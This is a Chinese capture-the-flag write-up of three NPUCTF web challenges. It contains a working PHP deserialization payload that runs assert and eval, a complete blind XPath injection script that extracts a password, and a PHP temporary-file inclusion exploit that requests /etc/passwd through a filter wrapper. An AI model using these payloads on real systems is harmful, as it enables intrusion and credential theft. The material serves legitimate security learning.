Background
NPUCTF === "真(雾)萌新赛"
Ezphp
进入得到代码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
比较有意思的点就是 $b($a) 这种动态的利用点可以用这种方式
assert('eval("phpinfo();")')
来执行
所以构造一下
<?php
class HelloPhp
{
public $a = 'eval("phpinfo();")';
public $b = 'assert';
}
$c = new HelloPhp();
echo serialize($c);
?>
得到O:8:"HelloPhp":2:{s:1:"a";s:18:"eval("phpinfo();")";s:1:"b";s:6:"assert";}
传入?data
flag在环境变量里面
Eazy login
xml注入
学习链接:https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/#%E5%B8%B8%E8%A7%84%E6%B3%A8%E5%85%A5
反正一般思路就是试试万能密码 不行就布尔盲注
原理是不断判断节点个数 然后判断节点名
u = "' or count(/)=1 or '1" 节点为1返回正常
u = "' or string-length(name(/*[1]))=1 or '1" 判断节点长度
u = "' or substring(name(/*[1]), 1, 1)='a' or '1"判断节点字符
脚本从别的师傅嫖来的通用的
# coding=utf-8
import requests
def req(username):
import re
url = 'http://752c3873-d15e-401f-b751-37c9ff2fbcf6.node3.buuoj.cn/'
s = requests.session()
r = s.get(url).content
# print r.decode('utf-8')
re = re.search(r'value="(.*?)" />', r.decode('utf-8'))
token = re.group(0)[7:-4]
# print token
headers = {
'Content-Type': 'application/xml',
}
password = ''
data = '<username>'+username+'</username>' \
'<password>'+password+'</password>' \
'<token>'+token+'</token>'
r = s.post(url, headers=headers, data=data).content
# print r.content.decode('utf-8')
if '非法操作' in r.decode('utf-8'):
print("ok")
return 1
else:
return 0
def test():
req("2' or '1")
req("2' or 1 or '1")
def getlen():
len = 0
for i in range(1, 40):
# username = "' or string-length(name(/*[1]))={} or '1".format(i)
# username = "' or string-length(name(/root/*[1]))={} or '1".format(i)
# username = "' or string-length(name(/root/accounts/user/*[3]))={} or '1".format(i)
username = "' or string-length(/root/accounts/user[2]/password/text())={} or '1".format(i)
print(username)
res = req(username)
if res == 1:
return i
len = getlen()
flag = ""
for i in range(len):
for j in range(40, 127):
# username = "'or substring(name(/*[1]), {}, 1)='{}' or'1".format(i + 1, chr(j))
# username = "'or substring(name(/root*[1]), {}, 1)='{}' or'1".format(i + 1, chr(j))
# username = "'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}' or'1".format(i + 1, chr(j))
# id,username,password
username = "'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or'1".format(i + 1, chr(j))
print(username)
res = req(username)
if res == 1:
flag += chr(j)
print(flag)
break
爆出来密码的md5 cf7414b5bdb2e65ee43083f4ddbc4d9f
解密后直接登录
这题坑点说眼睛问题 我在爆username时候没注意是adm1n
登陆之后的页面很漂亮
发现file尝试php伪协议
被ban掉尝试大小写替换
Ez include
提示:md5($secret.$name)===$pass
利用hashpdump:HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。
得到下一关 flflflflag.php
发现有重定向 所以抓包
提示可以进行文件包含
扫目录只有一个dir.php
了解到hint:
利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除
PHP版本<7.2,利用php崩溃留下临时文件
po出来一个脚本
import requests
from io import BytesIO
payload = "<?php phpinfo()?>"
file_data = {
'file': BytesIO(payload.encode())
}
url = "http://b23edac3-365a-44a5-b0ff-906f98daf2db.node3.buuoj.cn/flflflflag.php?"\
+"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)
得到临时文件
然后用file包含之
flag在phpinfo里面
推荐阅读:https://bbs.zkaq.cn/t/3639.html
本质:崩溃 包含临时文件
web狗
白嫖脚本